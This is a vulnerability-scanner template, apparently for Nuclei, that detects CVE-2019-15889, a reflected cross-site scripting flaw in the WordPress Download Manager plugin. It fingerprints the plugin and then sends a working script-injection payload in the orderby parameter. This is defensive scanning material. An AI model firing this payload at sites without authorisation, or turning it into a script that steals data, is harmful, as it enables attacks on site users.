id: CVE-2019-15889

info:
  name: WordPress Download Manager <2.9.94 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability.
  reference:
    - https://www.cybersecurity-help.cz/vdb/SB2019041819
    - https://wordpress.org/plugins/download-manager/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15889
    - http://packetstormsecurity.com/files/154356/WordPress-Download-Manager-2.9.93-Cross-Site-Scripting.html
    - https://plugins.trac.wordpress.org/changeset/2070388/download-manager
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15889
    cwe-id: CWE-79
    epss-score: 0.12531
    epss-percentile: 0.95715
    cpe: cpe:2.3:a:wpdownloadmanager:wordpress_download_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpdownloadmanager
    product: "wordpress_download_manager"
    framework: wordpress
  tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,wpdownloadmanager,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Download Manager'
          - 'License:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022011d1bfd8e786f62447c239a1c20229d8f0fbc1f37fac2c0912659ea14620a4c1022100b407f4ef1fc232f2c80bef7a0c840ec6e367789e1c1c0fcd424b134dee2d7fb5:922c64590222798bb761d5b6d8e72950